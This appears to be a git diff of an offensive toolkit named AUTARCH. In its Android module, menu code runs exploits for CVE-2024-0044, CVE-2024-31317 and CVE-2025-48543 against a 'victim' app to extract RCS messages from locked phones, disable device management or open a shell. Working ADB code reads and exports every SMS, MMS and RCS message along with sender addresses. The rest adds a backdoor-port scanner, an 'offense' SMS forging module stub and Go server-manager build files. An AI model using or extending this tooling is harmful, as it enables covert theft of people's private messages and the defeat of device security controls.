print(f" GrapheneOS: {'YES' if info.get('is_grapheneos') else 'NO'}")
print(f" Hardened Malloc: {'YES' if info.get('hardened_malloc') else 'NO'}")
print(f" Bootloader: {'UNLOCKED' if info.get('bootloader_unlocked') else 'LOCKED'}")
def cve_0044(self):
if not self._ensure_device():
return
try:
target = input(" Target package [com.google.android.apps.messaging]: ").strip()
except (EOFError, KeyboardInterrupt):
return
if not target:
target = 'com.google.android.apps.messaging'
print(f" Exploiting CVE-2024-0044 against {target}...")
result = self.mgr.exploit_cve_2024_0044(self.serial, target)
if result['success']:
print(f"\n SUCCESS! {result['message']}")
print(f" Victim: {result['victim_name']} UID: {result['target_uid']}")
else:
print(f"\n FAILED: {result.get('error', 'Unknown')}")
def cve_31317(self):
if not self._ensure_device():
return
try:
target = input(" Target package [com.google.android.apps.messaging]: ").strip()
except (EOFError, KeyboardInterrupt):
return
if not target:
target = 'com.google.android.apps.messaging'
print(f" Exploiting CVE-2024-31317 against {target}...")
result = self.mgr.exploit_cve_2024_31317(self.serial, target)
if result['success']:
print(f"\n SUCCESS! {result['message']}")
else:
print(f"\n FAILED: {result.get('error', 'Unknown')}")
def install_magisk(self): def install_magisk(self):
if not self._ensure_device(): if not self._ensure_device():
@ -87,26 +168,37 @@ class AndroidRoot:
return return
if not apk: if not apk:
return return
print(" Installing Magisk APK...")
result = self.mgr.install_magisk(self.serial, apk) result = self.mgr.install_magisk(self.serial, apk)
if result['success']: if result['success']:
print(" Magisk installed successfully.") print(" Magisk installed. Open app → patch boot image → use [8] to temp boot.")
print(" Next: Open Magisk app, patch boot image, then flash patched boot.")
else: else:
print(f" Error: {result.get('error', result.get('output', 'Failed'))}") print(f" Error: {result.get('error', result.get('output', 'Failed'))}")
def pull_patched(self): def pull_patched(self):
if not self._ensure_device(): if not self._ensure_device():
return return
print(" Looking for patched boot image...")
result = self.mgr.pull_patched_boot(self.serial) result = self.mgr.pull_patched_boot(self.serial)
if result['success']: if result['success']:
size_mb = result['size'] / (1024 * 1024) print(f" Saved: {result['local_path']} ({result['size'] / (1024*1024):.1f} MB)")
print(f" Saved: {result['local_path']} ({size_mb:.1f} MB)")
print(" Next: Reboot to fastboot, flash this as boot partition.")
else: else:
print(f" Error: {result.get('error', 'Failed')}") print(f" Error: {result.get('error', 'Failed')}")
def fastboot_root(self):
if not self._ensure_device():
return
try:
img = input(" Patched boot/init_boot image: ").strip()
except (EOFError, KeyboardInterrupt):
return
if not img:
return
print(" Booting patched image via fastboot (temp root, no flash)...")
result = self.mgr.fastboot_temp_root(self.serial, img)
if result['success']:
print(f"\n {result['message']}")
else:
print(f"\n FAILED: {result.get('error', '')}")
def root_exploit(self): def root_exploit(self):
if not self._ensure_device(): if not self._ensure_device():
return return
@ -116,23 +208,77 @@ class AndroidRoot:
return return
if not exploit: if not exploit:
return return
print(" Deploying and executing exploit...")
result = self.mgr.root_via_exploit(self.serial, exploit) result = self.mgr.root_via_exploit(self.serial, exploit)
if result['success']: print(" ROOT OBTAINED!" if result['success'] else " Root not obtained.")
print(" ROOT OBTAINED!") print(f" Output:\n{result.get('exploit_output', '')}")
else:
print(" Root not obtained.")
print(f" Exploit output:\n{result.get('exploit_output', '')}")
def adb_root(self): def adb_root(self):
if not self._ensure_device(): if not self._ensure_device():
return return
print(" Attempting adb root (userdebug/eng builds only)...")
result = self.mgr.adb_root_shell(self.serial) result = self.mgr.adb_root_shell(self.serial)
if result['success']: print(" ADB running as root." if result['success'] else f" Failed: {result['output']}")
print(" ADB running as root.")
def extract_rcs_auto(self):
if not self._ensure_device():
return
print(" Auto-selecting best exploit for RCS extraction...")
result = self.mgr.extract_rcs_locked_device(self.serial)
if result.get('success'):
print(f"\n SUCCESS — method: {result.get('extraction_method')}")
print(f" Output: {result.get('output_dir', '?')}")
if result.get('pull_command'):
print(f" Pull: {result['pull_command']}")
if result.get('encrypted'):
print(" Note: Database is encrypted — key material included in shared_prefs/")
else: else:
print(f" Failed: {result['output']}") print(f"\n FAILED — {result.get('extraction_method', 'no method worked')}")
for method in result.get('methods_tried', []):
print(f" Tried: {method}")
fb = result.get('fallback', {})
if fb.get('sms_mms_available'):
print(f" Fallback: {fb['sms_count']} SMS/MMS messages available via content providers")
if fb.get('note'):
print(f" {fb['note']}")
def cve_48543(self):
if not self._ensure_device():
return
print(" Tasks: extract_rcs, extract_app:<pkg>, disable_mdm, shell")
try:
task = input(" Task [extract_rcs]: ").strip()
except (EOFError, KeyboardInterrupt):
return
if not task:
task = 'extract_rcs'
print(f" Exploiting CVE-2025-48543 (task: {task})...")
result = self.mgr.exploit_cve_2025_48543(self.serial, task)
if result.get('success'):
print(f"\n SUCCESS! UID: {result.get('uid_achieved')}")
print(f" Output: {result.get('output_dir', '?')}")
if result.get('pull_command'):
print(f" Pull: {result['pull_command']}")
if result.get('extracted_files'):
print(f" Files: {len(result['extracted_files'])}")
else:
err = result.get('error', 'Unknown')
print(f"\n FAILED: {err}")
if result.get('manual_steps'):
print("\n Manual steps needed:")
for step in result['manual_steps']:
print(f" {step}")
def cleanup(self):
if not self._ensure_device():
return
try:
victim = input(" Victim name from CVE-2024-0044: ").strip()
except (EOFError, KeyboardInterrupt):
return
if not victim:
return
result = self.mgr.cleanup_cve_2024_0044(self.serial, victim)
for line in result.get('cleanup', []):
print(f" {line}")
def run_interactive(self): def run_interactive(self):
while True: while True:
@ -144,12 +290,11 @@ class AndroidRoot:
if choice == '0': if choice == '0':
break break
actions = { actions = {
'1': self.check_root, '1': self.check_root, '2': self.vuln_assessment, '3': self.detect_os,
'2': self.install_magisk, '4': self.cve_0044, '5': self.cve_31317, '6': self.install_magisk,
'3': self.pull_patched, '7': self.pull_patched, '8': self.fastboot_root, '9': self.root_exploit,
'4': self.root_exploit, 'a': self.adb_root, 'r': self.extract_rcs_auto, 'e': self.cve_48543,
'5': self.adb_root, 'c': self.cleanup, 's': self._select_device,
's': self._select_device,
} }
action = actions.get(choice) action = actions.get(choice)
if action: if action:

View File

@ -370,7 +370,9 @@ class HackHijackService:
def scan_target(self, target: str, scan_type: str = 'quick', def scan_target(self, target: str, scan_type: str = 'quick',
custom_ports: List[int] = None, custom_ports: List[int] = None,
timeout: float = 3.0, timeout: float = 3.0,
progress_cb=None) -> ScanResult: progress_cb=None,
port_found_cb=None,
status_cb=None) -> ScanResult:
"""Scan a target for open ports and backdoor indicators. """Scan a target for open ports and backdoor indicators.
scan_type: 'quick' (signature ports only), 'full' (signature + extra), scan_type: 'quick' (signature ports only), 'full' (signature + extra),
@ -396,11 +398,16 @@ class HackHijackService:
# Try nmap first if requested and available # Try nmap first if requested and available
if scan_type == 'nmap': if scan_type == 'nmap':
if status_cb:
status_cb('Running nmap scan…')
nmap_result = self._nmap_scan(target, ports, timeout) nmap_result = self._nmap_scan(target, ports, timeout)
if nmap_result: if nmap_result:
result.open_ports = nmap_result.get('ports', []) result.open_ports = nmap_result.get('ports', [])
result.os_guess = nmap_result.get('os', '') result.os_guess = nmap_result.get('os', '')
result.nmap_raw = nmap_result.get('raw', '') result.nmap_raw = nmap_result.get('raw', '')
if port_found_cb:
for pr in result.open_ports:
port_found_cb(pr)
# Fallback: socket-based scan # Fallback: socket-based scan
if not result.open_ports: if not result.open_ports:
@ -408,28 +415,40 @@ class HackHijackService:
total = len(sorted_ports) total = len(sorted_ports)
results_lock = threading.Lock() results_lock = threading.Lock()
open_ports = [] open_ports = []
scanned = [0]
def scan_port(port): if status_cb:
status_cb(f'Socket scanning {total} ports on {target}')
def scan_port(port, idx):
pr = self._check_port(target, port, timeout) pr = self._check_port(target, port, timeout)
with results_lock:
scanned[0] += 1
done = scanned[0]
if pr and pr.state == 'open': if pr and pr.state == 'open':
with results_lock: with results_lock:
open_ports.append(pr) open_ports.append(pr)
if port_found_cb:
port_found_cb(pr)
if progress_cb and done % 10 == 0:
progress_cb(done, total, f'Scanning port {port}')
# Threaded scan — 50 concurrent threads # Threaded scan — 50 concurrent threads
threads = [] threads = []
for i, port in enumerate(sorted_ports): for i, port in enumerate(sorted_ports):
t = threading.Thread(target=scan_port, args=(port,), daemon=True) t = threading.Thread(target=scan_port, args=(port, i), daemon=True)
threads.append(t) threads.append(t)
t.start() t.start()
if len(threads) >= 50: if len(threads) >= 50:
for t in threads: for t in threads:
t.join(timeout=timeout + 2) t.join(timeout=timeout + 2)
threads.clear() threads.clear()
if progress_cb and i % 10 == 0:
progress_cb(i, total)
for t in threads: for t in threads:
t.join(timeout=timeout + 2) t.join(timeout=timeout + 2)
if progress_cb:
progress_cb(total, total, 'Scan complete')
result.open_ports = sorted(open_ports, key=lambda p: p.port) result.open_ports = sorted(open_ports, key=lambda p: p.port)
# Match open ports against backdoor signatures # Match open ports against backdoor signatures

View File

@ -298,13 +298,15 @@ class RCSTools:
def _content_query(self, uri: str, projection: str = '', where: str = '', def _content_query(self, uri: str, projection: str = '', where: str = '',
sort: str = '', limit: int = 0) -> List[Dict[str, str]]: sort: str = '', limit: int = 0) -> List[Dict[str, str]]:
# Build shell command — use single quotes for sort/where to avoid
# Windows double-quote stripping issues
cmd = f'shell content query --uri {uri}' cmd = f'shell content query --uri {uri}'
if projection: if projection:
cmd += f' --projection {projection}' cmd += f' --projection {projection}'
if where: if where:
cmd += f' --where "{where}"' cmd += f" --where '{where}'"
if sort: if sort:
cmd += f' --sort "{sort}"' cmd += f" --sort '{sort}'"
output = self._run_adb(cmd, timeout=30) output = self._run_adb(cmd, timeout=30)
rows = self._parse_content_query(output) rows = self._parse_content_query(output)
if limit > 0: if limit > 0:
@ -659,6 +661,121 @@ class RCSTools:
row['date_formatted'] = self._format_ts(int(row['date']) * 1000) row['date_formatted'] = self._format_ts(int(row['date']) * 1000)
return rows return rows
def read_rcs_via_mms(self, thread_id: Optional[int] = None, limit: int = 200) -> List[Dict[str, Any]]:
"""Read RCS messages via the MMS content provider.
DISCOVERY: Google Messages writes ALL RCS messages to content://mms/
as MMS records. The message body is in content://mms/{id}/part
(ct=text/plain). RCS metadata (group name, SIP conference URI) is
protobuf-encoded in the tr_id field. Sender addresses are in
content://mms/{id}/addr.
This works on ANY Android with ADB access (UID 2000) no root,
no exploits, no Shizuku needed. Tested on Pixel 10 Pro Fold,
Android 16, February 2026 patch.
"""
# Get MMS entries (which include RCS messages synced by Google Messages)
where = f'thread_id={thread_id}' if thread_id else ''
mms_rows = self._content_query(
MMS_URI,
projection='_id:thread_id:date:msg_box:sub:text_only:tr_id',
where=where,
sort='date DESC',
limit=limit,
)
messages = []
for row in mms_rows:
mms_id = row.get('_id')
if not mms_id:
continue
msg = {
'_id': mms_id,
'thread_id': row.get('thread_id'),
'date': row.get('date'),
'msg_box': row.get('msg_box'),
'direction': 'incoming' if row.get('msg_box') == '1' else 'outgoing',
'tr_id': row.get('tr_id', ''),
'is_rcs': False,
'body': '',
'addresses': [],
}
# Check if this is an RCS message (tr_id starts with "proto:")
tr_id = row.get('tr_id', '') or ''
if tr_id.startswith('proto:'):
msg['is_rcs'] = True
msg['protocol_name'] = 'RCS'
# Try to decode group/conversation name from protobuf
msg['rcs_metadata'] = tr_id[:100]
else:
msg['protocol_name'] = 'MMS'
# Get message body from parts
parts = self._content_query(
f'content://mms/{mms_id}/part',
projection='_id:ct:text',
)
for p in parts:
if p.get('ct') == 'text/plain' and p.get('text'):
msg['body'] = p['text']
break
# Get sender/recipient addresses
addrs = self._content_query(
f'content://mms/{mms_id}/addr',
projection='address:type',
)
for a in addrs:
addr = a.get('address', '')
addr_type = a.get('type', '')
if addr and addr != 'insert-address-token':
msg['addresses'].append({'address': addr, 'type': addr_type})
# Type 137 = FROM, 151 = BCC/self, 130 = TO
if addr_type == '137':
msg['sender'] = addr
# Format timestamp (MMS dates are in seconds, not ms)
if msg['date']:
try:
ts = int(msg['date'])
if ts < 10000000000: # seconds
ts *= 1000
msg['date_ms'] = ts
msg['date_formatted'] = self._format_ts(ts)
except (ValueError, TypeError):
pass
messages.append(msg)
return messages
def read_rcs_only(self, limit: int = 200) -> List[Dict[str, Any]]:
"""Read ONLY RCS messages (filter MMS entries with proto: in tr_id)."""
all_mms = self.read_rcs_via_mms(limit=limit * 2)
return [m for m in all_mms if m.get('is_rcs')][:limit]
def read_rcs_threads(self) -> List[Dict[str, Any]]:
"""Get unique RCS conversation threads with latest message."""
all_rcs = self.read_rcs_via_mms(limit=5000)
threads = {}
for msg in all_rcs:
tid = msg.get('thread_id')
if tid and tid not in threads:
threads[tid] = {
'thread_id': tid,
'latest_message': msg.get('body', '')[:100],
'latest_date': msg.get('date_formatted', ''),
'is_rcs': msg.get('is_rcs', False),
'direction': msg.get('direction'),
'addresses': msg.get('addresses', []),
'message_count': 0,
}
if tid in threads:
threads[tid]['message_count'] += 1
return list(threads.values())
def read_conversations(self, limit: int = 100) -> List[Dict[str, Any]]: def read_conversations(self, limit: int = 100) -> List[Dict[str, Any]]:
rows = self._content_query(MMS_SMS_CONVERSATIONS_URI, limit=limit) rows = self._content_query(MMS_SMS_CONVERSATIONS_URI, limit=limit)
return rows return rows
@ -1654,6 +1771,98 @@ class RCSTools:
# §10 DATABASE BACKUP & CLONE # §10 DATABASE BACKUP & CLONE
# ══════════════════════════════════════════════════════════════════════ # ══════════════════════════════════════════════════════════════════════
def backup_rcs_to_xml(self) -> Dict[str, Any]:
"""Backup all RCS messages to SMS Backup & Restore compatible XML.
Reads RCS messages from the MMS content provider (where Google Messages
syncs them as MMS records), extracts the plaintext body from parts,
and writes them in SMS Backup & Restore XML format.
Works on any Android with ADB no root, no exploits.
"""
timestamp = datetime.now().strftime('%Y%m%d_%H%M%S')
# Get ALL messages via MMS provider (includes both MMS and RCS)
all_msgs = self.read_rcs_via_mms(limit=10000)
rcs_msgs = [m for m in all_msgs if m.get('is_rcs')]
all_sms = self.read_sms_database(limit=10000)
# Build XML
total = len(all_sms) + len(all_msgs)
root = ET.Element('smses', count=str(total), backup_date=str(self._ts_ms()),
type='full', autarch_version='2.3')
# Add SMS messages
for msg in all_sms:
attrs = {
'protocol': str(msg.get('protocol', '0') or '0'),
'address': str(msg.get('address', '') or ''),
'date': str(msg.get('date', '') or ''),
'type': str(msg.get('type', '1') or '1'),
'body': str(msg.get('body', '') or ''),
'read': str(msg.get('read', '1') or '1'),
'status': str(msg.get('status', '-1') or '-1'),
'locked': str(msg.get('locked', '0') or '0'),
'date_sent': str(msg.get('date_sent', '0') or '0'),
'readable_date': str(msg.get('date_formatted', '') or ''),
'contact_name': str(msg.get('contact_name', '(Unknown)') or '(Unknown)'),
'msg_protocol': 'SMS',
}
ET.SubElement(root, 'sms', **attrs)
# Add RCS/MMS messages
for msg in all_msgs:
# Get sender address
sender = msg.get('sender', '')
if not sender and msg.get('addresses'):
for a in msg['addresses']:
if a.get('address') and a['address'] != 'insert-address-token':
sender = a['address']
break
ts_ms = msg.get('date_ms', msg.get('date', '0'))
msg_type = '1' if msg.get('direction') == 'incoming' else '2'
attrs = {
'protocol': '0',
'address': sender,
'date': str(ts_ms),
'type': msg_type,
'body': str(msg.get('body', '') or ''),
'read': '1',
'status': '-1',
'locked': '0',
'date_sent': str(ts_ms),
'readable_date': str(msg.get('date_formatted', '') or ''),
'contact_name': '(Unknown)',
'msg_protocol': 'RCS' if msg.get('is_rcs') else 'MMS',
'thread_id': str(msg.get('thread_id', '') or ''),
}
# Add RCS metadata if available
if msg.get('is_rcs') and msg.get('rcs_metadata'):
attrs['rcs_tr_id'] = msg['rcs_metadata']
# Add all addresses as comma-separated for group chats
if len(msg.get('addresses', [])) > 1:
attrs['group_addresses'] = ','.join(
a['address'] for a in msg['addresses']
if a.get('address') and a['address'] != 'insert-address-token'
)
ET.SubElement(root, 'sms', **attrs)
# Write to file
backup_path = self._backups_dir / f'rcs_backup_{timestamp}.xml'
tree = ET.ElementTree(root)
ET.indent(tree, space=' ')
tree.write(str(backup_path), encoding='unicode', xml_declaration=True)
return {
'ok': True,
'path': str(backup_path),
'sms_count': len(all_sms),
'mms_count': len(all_msgs) - len(rcs_msgs),
'rcs_count': len(rcs_msgs),
'total': total,
'message': f'Backup saved: {len(all_sms)} SMS + {len(rcs_msgs)} RCS + '
f'{len(all_msgs) - len(rcs_msgs)} MMS = {total} total',
}
def full_backup(self, fmt: str = 'json') -> Dict[str, Any]: def full_backup(self, fmt: str = 'json') -> Dict[str, Any]:
"""Complete SMS/MMS/RCS backup.""" """Complete SMS/MMS/RCS backup."""
timestamp = datetime.now().strftime('%Y%m%d_%H%M%S') timestamp = datetime.now().strftime('%Y%m%d_%H%M%S')

View File

@ -11,6 +11,12 @@ AUTHOR = "AUTARCH"
VERSION = "1.0" VERSION = "1.0"
CATEGORY = "offense" CATEGORY = "offense"
def run():
"""CLI entry point — this module is used via the web UI."""
print("SMS Forge is managed through the AUTARCH web interface.")
print("Navigate to Offense → SMS Forge in the dashboard.")
import os import os
import csv import csv
import json import json

Binary file not shown.

View File

@ -0,0 +1,51 @@
#!/bin/bash
# Build Autarch Server Manager
# Usage: bash build.sh
#
# Targets: Linux AMD64 (Debian 13 server)
set -e
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
cd "$SCRIPT_DIR"
echo "══════════════════════════════════════════════════════"
echo " Building Autarch Server Manager"
echo "══════════════════════════════════════════════════════"
echo
# Resolve dependencies
echo "[1/3] Resolving Go dependencies..."
go mod tidy
echo " ✔ Dependencies resolved"
echo
# Build for Linux AMD64 (Debian 13 target)
echo "[2/3] Building linux/amd64..."
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build \
-ldflags="-s -w" \
-o autarch-server-manager \
./cmd/
echo " ✔ autarch-server-manager ($(ls -lh autarch-server-manager | awk '{print $5}'))"
echo
# Also build for current platform if different
if [ "$(go env GOOS)" != "linux" ] || [ "$(go env GOARCH)" != "amd64" ]; then
echo "[3/3] Building for current platform ($(go env GOOS)/$(go env GOARCH))..."
go build \
-ldflags="-s -w" \
-o autarch-server-manager-local \
./cmd/
echo " ✔ autarch-server-manager-local"
else
echo "[3/3] Current platform is linux/amd64 — skipping duplicate build"
fi
echo
echo "══════════════════════════════════════════════════════"
echo " Build complete!"
echo ""
echo " Deploy to server:"
echo " scp autarch-server-manager root@server:/opt/autarch/"
echo " ssh root@server /opt/autarch/autarch-server-manager"
echo "══════════════════════════════════════════════════════"

Binary file not shown.

View File

@ -0,0 +1,25 @@
package main
import (
"fmt"
"os"
tea "github.com/charmbracelet/bubbletea"
"github.com/darkhal/autarch-server-manager/internal/tui"
)
const version = "1.0.0"
func main() {
if os.Geteuid() != 0 {
fmt.Println("\033[91m[!] Autarch Server Manager requires root privileges.\033[0m")
fmt.Println(" Run with: sudo ./autarch-server-manager")
os.Exit(1)
}
p := tea.NewProgram(tui.NewApp(), tea.WithAltScreen())
if _, err := p.Run(); err != nil {
fmt.Fprintf(os.Stderr, "Error: %v\n", err)
os.Exit(1)
}
}

View File

@ -0,0 +1,32 @@
module github.com/darkhal/autarch-server-manager
go 1.23.0
require (
github.com/charmbracelet/bubbles v0.21.0
github.com/charmbracelet/bubbletea v1.3.4
github.com/charmbracelet/lipgloss v1.1.0
golang.org/x/crypto v0.32.0
)
require (
github.com/atotto/clipboard v0.1.4 // indirect
github.com/aymanbagabas/go-osc52/v2 v2.0.1 // indirect
github.com/charmbracelet/colorprofile v0.2.3-0.20250311203215-f60798e515dc // indirect
github.com/charmbracelet/x/ansi v0.8.0 // indirect
github.com/charmbracelet/x/cellbuf v0.0.13-0.20250311204145-2c3ea96c31dd // indirect
github.com/charmbracelet/x/term v0.2.1 // indirect
github.com/erikgeiser/coninput v0.0.0-20211004153227-1c3628e74d0f // indirect
github.com/lucasb-eyer/go-colorful v1.2.0 // indirect
github.com/mattn/go-isatty v0.0.20 // indirect
github.com/mattn/go-localereader v0.0.1 // indirect
github.com/mattn/go-runewidth v0.0.16 // indirect
github.com/muesli/ansi v0.0.0-20230316100256-276c6243b2f6 // indirect
github.com/muesli/cancelreader v0.2.2 // indirect
github.com/muesli/termenv v0.16.0 // indirect
github.com/rivo/uniseg v0.4.7 // indirect
github.com/xo/terminfo v0.0.0-20220910002029-abceb7e1c41e // indirect
golang.org/x/sync v0.11.0 // indirect
golang.org/x/sys v0.30.0 // indirect
golang.org/x/text v0.21.0 // indirect
)

View File

@ -0,0 +1,51 @@
github.com/atotto/clipboard v0.1.4 h1:EH0zSVneZPSuFR11BlR9YppQTVDbh5+16AmcJi4g1z4=
github.com/atotto/clipboard v0.1.4/go.mod h1:ZY9tmq7sm5xIbd9bOK4onWV4S6X0u6GY7Vn0Yu86PYI=
github.com/aymanbagabas/go-osc52/v2 v2.0.1 h1:HwpRHbFMcZLEVr42D4p7XBqjyuxQH5SMiErDT4WkJ2k=
github.com/aymanbagabas/go-osc52/v2 v2.0.1/go.mod h1:uYgXzlJ7ZpABp8OJ+exZzJJhRNQ2ASbcXHWsFqH8hp8=
github.com/charmbracelet/bubbles v0.21.0 h1:9TdC97SdRVg/1aaXNVWfFH3nnLAwOXr8Fn6u6mfQdFs=
github.com/charmbracelet/bubbles v0.21.0/go.mod h1:HF+v6QUR4HkEpz62dx7ym2xc71/KBHg+zKwJtMw+qtg=
github.com/charmbracelet/bubbletea v1.3.4 h1:kCg7B+jSCFPLYRA52SDZjr51kG/fMUEoPoZrkaDHyoI=
github.com/charmbracelet/bubbletea v1.3.4/go.mod h1:dtcUCyCGEX3g9tosuYiut3MXgY/Jsv9nKVdibKKRRXo=
github.com/charmbracelet/colorprofile v0.2.3-0.20250311203215-f60798e515dc h1:4pZI35227imm7yK2bGPcfpFEmuY1gc2YSTShr4iJBfs=
github.com/charmbracelet/colorprofile v0.2.3-0.20250311203215-f60798e515dc/go.mod h1:X4/0JoqgTIPSFcRA/P6INZzIuyqdFY5rm8tb41s9okk=
github.com/charmbracelet/lipgloss v1.1.0 h1:vYXsiLHVkK7fp74RkV7b2kq9+zDLoEU4MZoFqR/noCY=
github.com/charmbracelet/lipgloss v1.1.0/go.mod h1:/6Q8FR2o+kj8rz4Dq0zQc3vYf7X+B0binUUBwA0aL30=
github.com/charmbracelet/x/ansi v0.8.0 h1:9GTq3xq9caJW8ZrBTe0LIe2fvfLR/bYXKTx2llXn7xE=
github.com/charmbracelet/x/ansi v0.8.0/go.mod h1:wdYl/ONOLHLIVmQaxbIYEC/cRKOQyjTkowiI4blgS9Q=
github.com/charmbracelet/x/cellbuf v0.0.13-0.20250311204145-2c3ea96c31dd h1:vy0GVL4jeHEwG5YOXDmi86oYw2yuYUGqz6a8sLwg0X8=
github.com/charmbracelet/x/cellbuf v0.0.13-0.20250311204145-2c3ea96c31dd/go.mod h1:xe0nKWGd3eJgtqZRaN9RjMtK7xUYchjzPr7q6kcvCCs=
github.com/charmbracelet/x/term v0.2.1 h1:AQeHeLZ1OqSXhrAWpYUtZyX1T3zVxfpZuEQMIQaGIAQ=
github.com/charmbracelet/x/term v0.2.1/go.mod h1:oQ4enTYFV7QN4m0i9mzHrViD7TQKvNEEkHUMCmsxdUg=
github.com/erikgeiser/coninput v0.0.0-20211004153227-1c3628e74d0f h1:Y/CXytFA4m6baUTXGLOoWe4PQhGxaX0KpnayAqC48p4=
github.com/erikgeiser/coninput v0.0.0-20211004153227-1c3628e74d0f/go.mod h1:vw97MGsxSvLiUE2X8qFplwetxpGLQrlU1Q9AUEIzCaM=
github.com/lucasb-eyer/go-colorful v1.2.0 h1:1nnpGOrhyZZuNyfu1QjKiUICQ74+3FNCN69Aj6K7nkY=
github.com/lucasb-eyer/go-colorful v1.2.0/go.mod h1:R4dSotOR9KMtayYi1e77YzuveK+i7ruzyGqttikkLy0=
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
github.com/mattn/go-localereader v0.0.1 h1:ygSAOl7ZXTx4RdPYinUpg6W99U8jWvWi9Ye2JC/oIi4=
github.com/mattn/go-localereader v0.0.1/go.mod h1:8fBrzywKY7BI3czFoHkuzRoWE9C+EiG4R1k4Cjx5p88=
github.com/mattn/go-runewidth v0.0.16 h1:E5ScNMtiwvlvB5paMFdw9p4kSQzbXFikJ5SQO6TULQc=
github.com/mattn/go-runewidth v0.0.16/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
github.com/muesli/ansi v0.0.0-20230316100256-276c6243b2f6 h1:ZK8zHtRHOkbHy6Mmr5D264iyp3TiX5OmNcI5cIARiQI=
github.com/muesli/ansi v0.0.0-20230316100256-276c6243b2f6/go.mod h1:CJlz5H+gyd6CUWT45Oy4q24RdLyn7Md9Vj2/ldJBSIo=
github.com/muesli/cancelreader v0.2.2 h1:3I4Kt4BQjOR54NavqnDogx/MIoWBFa0StPA8ELUXHmA=
github.com/muesli/cancelreader v0.2.2/go.mod h1:3XuTXfFS2VjM+HTLZY9Ak0l6eUKfijIfMUZ4EgX0QYo=
github.com/muesli/termenv v0.16.0 h1:S5AlUN9dENB57rsbnkPyfdGuWIlkmzJjbFf0Tf5FWUc=
github.com/muesli/termenv v0.16.0/go.mod h1:ZRfOIKPFDYQoDFF4Olj7/QJbW60Ol/kL1pU3VfY/Cnk=
github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
github.com/rivo/uniseg v0.4.7 h1:WUdvkW8uEhrYfLC4ZzdpI2ztxP1I582+49Oc5Mq64VQ=
github.com/rivo/uniseg v0.4.7/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88=
github.com/xo/terminfo v0.0.0-20220910002029-abceb7e1c41e h1:JVG44RsyaB9T2KIHavMF/ppJZNG9ZpyihvCd0w101no=
github.com/xo/terminfo v0.0.0-20220910002029-abceb7e1c41e/go.mod h1:RbqR21r5mrJuqunuUZ/Dhy/avygyECGrLceyNeo4LiM=
golang.org/x/crypto v0.32.0 h1:euUpcYgM8WcP71gNpTqQCn6rC2t6ULUPiOzfWaXVVfc=
golang.org/x/crypto v0.32.0/go.mod h1:ZnnJkOaASj8g0AjIduWNlq2NRxL0PlBrbKVyZ6V/Ugc=
golang.org/x/exp v0.0.0-20220909182711-5c715a9e8561 h1:MDc5xs78ZrZr3HMQugiXOAkSZtfTpbJLDr/lwfgO53E=
golang.org/x/exp v0.0.0-20220909182711-5c715a9e8561/go.mod h1:cyybsKvd6eL0RnXn6p/Grxp8F5bW7iYuBgsNCOHpMYE=
golang.org/x/sync v0.11.0 h1:GGz8+XQP4FvTTrjZPzNKTMFtSXH80RAzG+5ghFPgK9w=
golang.org/x/sync v0.11.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
golang.org/x/sys v0.0.0-20210809222454-d867a43fc93e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.30.0 h1:QjkSwP/36a20jFYWkSue1YwXzLmsV5Gfq7Eiy72C1uc=
golang.org/x/sys v0.30.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/text v0.21.0 h1:zyQAAkrwaneQ066sspRyJaG9VNi/YJ1NfzcGB3hZ/qo=
golang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ=

View File

@ -0,0 +1,132 @@
// Package config provides INI-style configuration file parsing and editing
// for autarch_settings.conf. It preserves comments and formatting.
package config
import (
"fmt"
"os"
"strings"
)
// ListSections returns all [section] names from an INI file.
func ListSections(path string) ([]string, error) {
data, err := os.ReadFile(path)
if err != nil {
return nil, fmt.Errorf("read config: %w", err)
}
var sections []string
for _, line := range strings.Split(string(data), "\n") {
line = strings.TrimSpace(line)
if strings.HasPrefix(line, "[") && strings.HasSuffix(line, "]") {
sec := line[1 : len(line)-1]
sections = append(sections, sec)
}
}
return sections, nil
}
// GetSection returns all key-value pairs from a specific section.
func GetSection(path, section string) (keys []string, vals []string, err error) {
data, err := os.ReadFile(path)
if err != nil {
return nil, nil, fmt.Errorf("read config: %w", err)
}
inSection := false
target := "[" + section + "]"
for _, line := range strings.Split(string(data), "\n") {
trimmed := strings.TrimSpace(line)
// Check for section headers
if strings.HasPrefix(trimmed, "[") && strings.HasSuffix(trimmed, "]") {
inSection = (trimmed == target)
continue
}
if !inSection {
continue
}
// Skip comments and empty lines
if trimmed == "" || strings.HasPrefix(trimmed, "#") || strings.HasPrefix(trimmed, ";") {
continue
}
// Parse key = value
eqIdx := strings.Index(trimmed, "=")
if eqIdx < 0 {
continue
}
key := strings.TrimSpace(trimmed[:eqIdx])
val := strings.TrimSpace(trimmed[eqIdx+1:])
keys = append(keys, key)
vals = append(vals, val)
}
return keys, vals, nil
}
// SetValue updates a single key in a section within the INI content string.
// Returns the modified content. If the key doesn't exist, it's appended to the section.
func SetValue(content, section, key, value string) string {
lines := strings.Split(content, "\n")
target := "[" + section + "]"
inSection := false
found := false
for i, line := range lines {
trimmed := strings.TrimSpace(line)
if strings.HasPrefix(trimmed, "[") && strings.HasSuffix(trimmed, "]") {
// If we were in our target section and didn't find the key, insert before this line
if inSection && !found {
lines[i] = key + " = " + value + "\n" + line
found = true
}
inSection = (trimmed == target)
continue
}
if !inSection {
continue
}
// Check if this line matches our key
eqIdx := strings.Index(trimmed, "=")
if eqIdx < 0 {
continue
}
lineKey := strings.TrimSpace(trimmed[:eqIdx])
if lineKey == key {
